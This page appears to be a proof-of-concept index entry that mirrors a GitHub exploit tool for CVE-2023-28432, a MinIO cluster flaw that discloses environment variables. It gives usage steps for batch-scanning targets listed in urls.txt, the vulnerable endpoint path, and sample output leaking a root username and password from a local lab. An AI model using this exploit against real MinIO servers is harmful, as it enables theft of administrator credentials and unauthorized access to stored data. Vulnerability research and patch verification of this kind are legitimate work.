CVE-2023-28432 PoC — Minio Information Disclosure in Cluster Deployment

Source

https://github.com/C1ph3rX13/CVE-2023-28432

Associated Vulnerability

Title:Minio Information Disclosure in Cluster Deployment (CVE-2023-28432)
Description:Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.

Description

CVE-2023-28432 Minio Information isclosure Exploit

Readme

# CVE-2023-28432

CVE-2023-28432 Minio Information isclosure Exploit

## Usage

+ 将`url`写入`urls.txt`，直接运行`python CVE-2023-28432.py `即可
+ 兼容格式：`http://ip:port`，`ip:port`

```powershell
python CVE-2023-28432.py 

     ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗  █████╗ ██╗  ██╗██████╗ ██████╗ 
    ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗██╔══██╗██║  ██║╚════██╗╚════██╗
    ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝╚█████╔╝███████║ █████╔╝ █████╔╝
    ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔══██╗╚════██║ ╚═══██╗██╔═══╝ 
    ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗╚█████╔╝     ██║██████╔╝███████╗
     ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝ ╚════╝      ╚═╝╚═════╝ ╚══════╝
                                                                            
                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: 代码仅供学习使用，请勿用于其他用途                                                                                                          
    
2023-12-07 14:15:23.856 | INFO     | __main__:check_url:103 - Checking Url: http://127.0.0.1:9000/minio/bootstrap/v1/verify
2023-12-07 14:15:23.863 | SUCCESS  | __main__:send_request:126 - Root User: minioadmin
2023-12-07 14:15:23.863 | SUCCESS  | __main__:send_request:127 - Root Password: minioadmin-vulhub
2023-12-07 14:15:23.863 | INFO     | __main__:check_url:103 - Checking Url: http://127.0.0.1:9000/minio/bootstrap/v1/verify
2023-12-07 14:15:23.866 | SUCCESS  | __main__:send_request:126 - Root User: minioadmin
2023-12-07 14:15:23.866 | SUCCESS  | __main__:send_request:127 - Root Password: minioadmin-vulhub
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!